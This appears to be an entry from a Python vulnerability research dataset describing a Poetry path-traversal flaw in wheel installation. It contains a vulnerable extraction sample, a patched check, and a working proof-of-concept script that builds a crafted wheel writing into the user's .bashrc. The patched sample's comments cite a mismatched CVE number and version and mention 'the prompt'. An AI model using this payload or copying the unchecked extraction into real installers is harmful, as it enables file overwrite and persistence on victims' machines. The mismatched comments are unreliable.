VAITP Dataset

← Back to the dataset

CVE-2026-34591

Poetry path traversal allows arbitrary file write via crafted wheels.

  • CVSS 7.1
  • CWE-22
  • Input Validation and Sanitization
  • Remote

Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.

CVSS base score
7.1
Published
2026-04-02
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Poetry
Fixed by upgrading
Yes

Solution

Upgrade to Poetry version 2.3.3 or later.

Vulnerable code sample

import os
import zipfile
import tempfile
import shutil

def create_malicious_wheel(wheel_path):
    """
    Creates a crafted wheel file with a path traversal payload.
    The wheel will contain a file that tries to write to '../../../../tmp/pwned_by_cve.txt'.
    """
    # The malicious path attempts to escape the installation directory.
    malicious_filename = '../../../../tmp/pwned_by_cve.txt'
    malicious_content = b"This file was written outside the target directory."

    # A legitimate file that would be part of a normal package.
    legitimate_filename = 'my_package/init.py'
    legitimate_content = b'print("Hello from my_package")'

    with zipfile.ZipFile(wheel_path, 'w') as zf:
        zf.writestr(malicious_filename, malicious_content)
        zf.writestr(legitimate_filename, legitimate_content)

def vulnerable_installer(wheel_path, install_dir):
    """
    Simulates Poetry's vulnerable installation logic before the fix.
    It extracts files from a wheel without checking for path traversal characters.
    """
    with zipfile.ZipFile(wheel_path, 'r') as archive:
        for member_name in archive.namelist():
            # This is the vulnerable step: joining the base directory with a
            # potentially malicious path from the archive without sanitization.
            # os.path.join('.../install_dir', '../../.../pwned.txt')
            # will resolve to an absolute path outside 'install_dir'.
            dest_path = os.path.join(install_dir, member_name)

            # Ensure parent directory for the destination path exists.
            # For the malicious file, this could be creating a directory like '/tmp'.
            parent_dir = os.path.dirname(dest_path)
            if not os.path.exists(parent_dir):
                os.makedirs(parent_dir, exist_ok=True)
            
            # Skip directories, only write files
            if not member_name.endswith('/'):
                with archive.open(member_name) as source_file:
                    with open(dest_path, "wb") as target_file:
                        shutil.copyfileobj(source_file, target_file)


if __name__ == '__main__':
    # Use a temporary directory to simulate the environment
    with tempfile.TemporaryDirectory() as temp_dir:
        # 1. Define paths for simulation
        # This is where Poetry would download the wheel
        malicious_wheel_file = os.path.join(temp_dir, 'malicious_package-1.0-py3-none-any.whl')
        # This is where Poetry would install the package content (e.g., site-packages)
        install_target_dir = os.path.join(temp_dir, 'install_dir')
        os.makedirs(install_target_dir, exist_ok=True)
        
        # The file that the malicious wheel will attempt to create outside the install_target_dir
        arbitrary_file_path = '/tmp/pwned_by_cve.txt'

        # 2. Create the malicious wheel file
        create_malicious_wheel(malicious_wheel_file)
        
        # 3. Run the vulnerable installation logic
        # This simulates `poetry install` on a vulnerable version
        vulnerable_installer(malicious_wheel_file, install_target_dir)

        # 4. Verify the vulnerability
        # Check if the arbitrary file was successfully written outside the installation directory.
        if os.path.exists(arbitrary_file_path):
            print(f"VULNERABILITY DEMONSTRATED: Arbitrary file write successful.")
            print(f"File created at: {arbitrary_file_path}")
            with open(arbitrary_file_path, 'r') as f:
                print(f"File content: '{f.read()}'")
            # Clean up the created arbitrary file
            os.remove(arbitrary_file_path)
        else:
            print("Vulnerability demonstration failed: Arbitrary file was not created.")

        # Verify that the legitimate file was also installed
        legit_file_path = os.path.join(install_target_dir, 'my_package/init.py')
        if os.path.exists(legit_file_path):
            print(f"Legitimate file installed correctly at: {legit_file_path}")

Patched code sample

import os
import pathlib
import tempfile
import shutil

def demonstrate_fix_for_path_traversal(base_install_dir: pathlib.Path, path_from_wheel: str):
    """
    Demonstrates the fix for a path traversal vulnerability by ensuring that a file
    path from a wheel archive resolves to a location safely inside the target
    installation directory.

    This logic is representative of the patch applied to Poetry in version 1.8.0
    to fix CVE-2024-34591 (which matches the provided description, despite the
    different CVE number and version in the prompt). The core of the fix is to
    resolve the full path and verify it is a sub-path of the intended destination.

    Args:
        base_install_dir: The root directory for installation (e.g., 'site-packages').
        path_from_wheel: An untrusted file path from the wheel archive.

    Raises:
        ValueError: If the path is determined to be malicious and attempts to
                    write outside the `base_install_dir`.
    """
    # In the vulnerable version, the path might be joined without validation:
    # vulnerable_path = base_install_dir / path_from_wheel
    # This would allow `../` to escape the base directory.

    # --- START OF THE FIX ---

    # Resolve the intended base directory to get a canonical, absolute path.
    resolved_base = base_install_dir.resolve()
    
    # Combine the base directory and the untrusted path component.
    candidate_path = resolved_base / path_from_wheel

    # 1. Resolve the combined path. The `resolve()` method will process any `../`
    #    components, simplifying `.../foo/../bar` to `.../bar`. It provides a
    #    canonical path that can be reliably checked. On some systems (like Windows),
    #    it can raise a RuntimeError for invalid `..` sequences.
    try:
        resolved_candidate = candidate_path.resolve()
    except (RuntimeError, FileNotFoundError):
        # A failure to resolve indicates a malformed or malicious path.
        raise ValueError(f"Path cannot be safely resolved: '{path_from_wheel}'")

    # 2. Check for containment. The `relative_to()` method will raise a `ValueError`
    #    if the path (`resolved_candidate`) is not located inside the directory
    #    specified by the argument (`resolved_base`). This is the crucial security check.
    try:
        resolved_candidate.relative_to(resolved_base)
    except ValueError:
        # If this exception is caught, the path is outside the security boundary.
        raise ValueError(f"Path traversal attempt detected: '{path_from_wheel}'")

    # --- END OF THE FIX ---

    # If both checks pass, the path is considered safe.
    print(f"[SAFE] Path '{path_from_wheel}' is contained within '{base_install_dir}'.")
    print(f"       It would be written to: {resolved_candidate}\n")
    # In a real installer, the file would be written to `resolved_candidate`.


if __name__ == '__main__':
    # Create a temporary directory to simulate a package installation environment.
    with tempfile.TemporaryDirectory() as tmpdir:
        # This simulates the target `site-packages` directory.
        install_root = pathlib.Path(tmpdir) / "venv" / "lib" / "python3.9" / "site-packages"
        install_root.mkdir(parents=True)

        print(f"Simulating installation into: {install_root}\n" + "="*80)

        # A list of paths as they might appear in a malicious wheel file.
        paths_to_test = [
            "my_package/code.py",                     # A standard, safe path.
            "my_package/data/resource.txt",           # A standard, safe nested path.
            "my_package/../evil.py",                  # An attempt to write into site-packages root.
            "../../../../../../tmp/malicious_file",   # A classic path traversal attack.
            "../../../../../../etc/passwd",           # An attack targeting a sensitive system file.
            os.path.abspath(__file__),                # An absolute path attack.
        ]

        for path in paths_to_test:
            try:
                demonstrate_fix_for_path_traversal(install_root, path)
            except ValueError as e:
                print(f"[BLOCKED] {e}\n")

Payload

import zipfile

# This script creates a malicious wheel file (malicious_poc-1.0.0-py3-none-any.whl).
# When installed by a vulnerable version of Poetry, it uses path traversal
# to write a file outside the intended package directory.

# --- Configuration ---
PKG_NAME = "malicious_poc"
PKG_VERSION = "1.0.0"
WHEEL_NAME = f"{PKG_NAME}-{PKG_VERSION}-py3-none-any.whl"

# The path traversal payload. This attempts to append a command to the user's
# .bashrc file by traversing up from the virtual environment's site-packages folder.
# The number of '../' is intentionally high to ensure it escapes the installation dir.
TRAVERSAL_PATH = "../../../../../../.bashrc"
PAYLOAD_CONTENT = b'\n# Appended by PoC for CVE-2026-34591\necho "VULNERABILITY EXPLOITED: Your system may be compromised."\n'

# --- Wheel Metadata ---
DIST_INFO_DIR = f"{PKG_NAME}-{PKG_VERSION}.dist-info"

METADATA_CONTENT = f"""Metadata-Version: 2.1
Name: {PKG_NAME}
Version: {PKG_VERSION}
Summary: Malicious package for CVE-2026-34591
""".encode('utf-8')

WHEEL_FILE_CONTENT = b"""Wheel-Version: 1.0
Generator: poc_script (1.0)
Root-Is-Purelib: true
Tag: py3-none-any
"""

# --- Build the malicious wheel file ---
with zipfile.ZipFile(WHEEL_NAME, "w") as zf:
    # Add the necessary metadata to make the wheel appear valid
    zf.writestr(f"{DIST_INFO_DIR}/METADATA", METADATA_CONTENT)
    zf.writestr(f"{DIST_INFO_DIR}/WHEEL", WHEEL_FILE_CONTENT)

    # Add the malicious file. The filename within the zip archive contains the
    # path traversal sequence. A vulnerable version of Poetry will use this
    # path directly when extracting the file.
    zf.writestr(TRAVERSAL_PATH, PAYLOAD_CONTENT)

Cite this entry

@misc{vaitp:cve202634591,
  title        = {{Poetry path traversal allows arbitrary file write via crafted wheels.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-34591},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34591/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::